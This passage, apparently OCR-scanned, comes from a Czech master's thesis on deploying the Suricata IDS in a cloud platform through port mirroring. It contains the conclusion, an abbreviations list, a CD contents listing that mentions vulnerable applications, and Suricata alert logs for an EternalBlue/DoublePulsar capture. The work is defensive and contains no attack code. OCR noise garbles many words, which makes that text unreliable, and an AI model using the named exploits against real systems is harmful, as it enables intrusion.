testovaci prostiedi a jednotlivé virtualni stroje, z téchto stroju jsem
vytvoril snapshoty, ze kterych se daji vytvorit Sablony
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7. ZAVER

7. Implementované feseni podrobte penetra¢nim testiim.

e v testovaci ¢asti jsem jednotlivé komponenty radné otestoval

e praci jsem nabidl studentum z predmétu BI-EHA, ale bohuzel si
nikdo téma nevybral

« mnakonec jsem nechal infikované virtualni stroje zapnuté a sledoval,
jak na né utoci neznami ttocnici

Cilem préace bylo analyzovat néastroje, které pouzivaji cloudové sluzby, po-
psat, co to jsou systémy IDS a IPS. Poté bylo za tkol navrhnout, jakym
zpusobem integrovat software Suricata do systému, navrhnout rozhrani pro
API, princip sbéru dat a Tizeni monitorovacich stroju. Bylo i nutné navrhnout
grafické rozhrani, aby si uzivatelé mohli vybrat, zda chtéji monitorovat sva
sifové rozhrani. Navrzené tipravy byly poté implementovany a otestovany.

Software Suricata je na systém nasazen tak, ze jsou vytvoreny monito-
rovaci stroje, na kterych bézi software Suricata a mnou vytvoreny program,
které monitoruji komunikaci po siti za pomoci port mirroringu. Port mirro-
ring funguje tak, Ze provoz pres monitorované stroje jde pres switch, kde se
packety z jednotlivych portii zkopiruji a posilaji se na monitorovaci stroje.
Bohuzel takové feseni neumoznuje, aby byl software Suricata zapnut v rezimu
IPS, ale vzhledem k dalsim pozadavkiim, napi. ze software Suricata musi byt
schopen monitorovat vice sitovych rozhrani s riznymi pravidly, tak i piesto
neni mozné, aby byl zapnut v rezimu IPS.

Cilil jsem na maximalni bezpecnost navrhu reseni, aby integrace monitoro-
vaciho zafizeni, které ma zvysit bezpec¢nost systému, nakonec nevytvarela nové
vektory utoku, a aby tedy nepredstavovala bezpec¢nostni riziko. Z toho divodu
je naklddano i s monitorovacimi stroji jako s potencialné nebezpe¢nymi, protoze
maji vefejné sitové rozhrani a ttocnik by mohl vyuZit napi. néjakou slabinu
softwaru Suricata, pokud by se objevila. Proto ani monitorovaci stroje ne-
maji pristup na vnitini API sité a vSechna data, kterd monitorovaci stroje
potiebuji nebo posilaji, jsou po privatni siti distribuovana se specidlnim stro-
jem, kterému se fika vymeénik, se kterym jiz komunikuje vnitini API.

Sprava monitorovacich stroju funguje pres program, ktery jsem vytvoril,
kde jako podklad jsem vyuzil mnou vytvoreny program pro sbér dat z mé
bakalarské prace. Je vytvoren v jazyce C++ a méa za tkol spustit software
Suricata na monitorovacim stroji, starat se o aktualnost pravidel pro detekci
a aktudlnost softwaru Suricata.

7 této prace si odnasim lepsi znalost softwaru Suricata, protoze od doby,
co jsem s nim pracoval ve své bakalarské praci, pribylo hodné zmén, které jsem
vyuzil zde. Pii testovani infikovanych stroju jsem si musel pripomenout praci
s Kali Linuxem a jeho nastroji, které slouzi k penetracnim testiim. Zaroven
jsem si procvicil praci s nastrojem Wireshark pro odchytavani komunikace po
siti.
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PRILOHA A

Seznam pouzitych zkratek

IDS Intrusion Detection System — Technicky systém, ktery se pouziva pro
zjisténi, Ze byl uc¢inén pokus o prinik nebo takovy ¢in nastal, a je-li to
mozné, pro reakci na prunik do informacnich systémiu a siti. [50] D

IPS Intrusion Protection System — Varianta systémut detekce priniku, které
jsou zvlasté uréeny pro moznost aktivni reakce. [50]

SaaS Software as a Service

PaaS Platform as a Service

IaaS Infrastructure as a service

LVM Local Volume Manager — spravce logickych oddilt

KVM Kernel-based Virtual Machine — Toto virtualizacni feseni je soucasti
Linuxu 2.6.20 a vyssich. D4 se pouzivat na procesorech, které jsou vy-
baveny technologif Intel VT nebo AMD-V. [51] !

ZFS Zettabyte File System — filesystém — Jedna se o souborovy systém, ktery
je vytvoren spole¢nosti SUN Microsystems pro opera¢ni systém Solaris.
Klicovou vlastnosti je integrace konceptt souborového systému a spravy
svazklu. Jeho implementace v OS Solaris je pod Open Source licenci
CDDL. [52] !

RPD Remote Desktop Protocol — v informatice proprietarni sitovy proto-
kol, ktery umoznuje uzivateli ovladat vzdaleny pocita¢ prostiednictvim
piipojeni k jeho desktopovému prostiedi [53] *

USB Universal Serial Bus — moderni sbérnice slouzici ke komunikaci periférii
s pocitaci [54]

VLAN Virtual local area network
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API Application programmers interface — programéatorské rozhrani k néjaké
softwarové/hardwarové entité [55] !

VPN Virtual Private Network — prostredek k propojeni nékolika pocitacu
prostiednictvim (vefejné) nedivéryhodné pocitacové sité [56]

JSON JavaScript Object Notation — odleh¢eny formét pro vyménu dat [57]
1

DDoS Distributed Denial of Service
GUI Graphical User Interface — grafické uzivatelské rozhrani

IPMI Intelligent Platform Management Interface

1Jedn4 se o presné citace.
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PRILOHA B

Obsah prilozeného CD

readme.tXt....ooviiiiiiiii i soubor s popisem obsahu na CD
| src slozka se zdrojovymi soubory programu pro spravu softwaru Suricata
o =Y o2 slozka se zavislostmi
SOUTCE e et e tee e eeeneeeenneenenannns slozka se zdrojovymi soubory
Makefile......covvviiinnnnennnnn.. Makefile pro kompilace programu

=Y o o 1 1 v~ slozka se skripty
| _vulnerableApplications............. slozka se zranitelnymi aplikacemi
| DP PetrBenes.pdf .....covviiiiiiiiiiinnnnn. diplomova prace v pdf






PRILOHA C

Priloha

C.1 Testovani softwaru Suricata

Cely log, ktery byl vygenerovan softwarem Suricata, po analyzovani pcap
souboru s exploitem Eternal Blue vypadal nasledovné

04/14/2017-13:30:38.261434 [+*] [1:2024218:2] ET EXPLOIT Possible
ETERNALBLUE MS17-010 Echo Response [**] [Classification: A Network
Trojan was detected] [Priority: 1] {TCP}
10.128.0.243:445 -> 172.16.156.130:50927

04/14/2017-13:30:55.550382 [**] [1:2024217:3] ET EXPLOIT Possible
ETERNALBLUE MS17-010 Heap Spray [**] [Classification: A Network
Trojan was detected] [Priority: 1] {TCP}

172.16.156.130:50948 -> 10.128.0.243:445

04/14/2017-13:30:38.385102 [**] [1:2024297:2] ET EXPLOIT
ETERNALBLUE Exploit M2 MS17-010 [**] [Classification: Attempted
Administrator Privilege Gain] [Priority: 1] {TCP}
172.16.156.130:50927 -> 10.128.0.243:445

04/14/2017-13:30:57.629856 [*x] [1:2024218:2] ET EXPLOIT
Possible ETERNALBLUE MS17-010 Echo Response [**] [Classification:
A Network Trojan was detected] [Priority: 1] {TCP}
10.128.0.243:445 -> 172.16.156.130:50948

04/14/2017-13:30:57.7535680 [*x] [1:2024297:2] ET EXPLOIT
ETERNALBLUE Exploit M2 MS17-010 [**] [Classification:
Attempted Administrator Privilege Gain] [Priority: 1] {TCP}
172.16.156.130:50948 -> 10.128.0.243:445
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04/14/2017-13:31:15.578656 [**] [1:2001569:15] ET SCAN
Behavioral Unusual Port 445 traffic Potential Scan or
Infection [**] [Classification: Misc activity] [Priority: 3]
{TCP} 172.16.156.130:50988 -> 10.128.0.243:445

04/14/2017-13:31:17.183525 [*x] [1:2024218:2] ET EXPLOIT
Possible ETERNALBLUE MS17-010 Echo Response [#*%*]
[Classification: A Network Trojan was detected] [Priority: 1]
{TCP} 10.128.0.243:445 -> 172.16.156.130:50974

04/14/2017-13:31:17.302534 [**] [1:2024297:2] ET EXPLOIT
ETERNALBLUE Exploit M2 MS17-010 [#x*] [Classification:
Attempted Administrator Privilege Gain] [Priority: 1]
{TCP} 172.16.156.130:50974 -> 10.128.0.243:445

04/14/2017-13:31:32.372713 [*x] [1:2024216:1] ET EXPLOIT
Possible DOUBLEPULSAR Beacon Response [**] [Classification:
A~Network Trojan was detected] [Priority: 1] {TCP}
10.128.0.243:445 -> 172.16.156.130:50974
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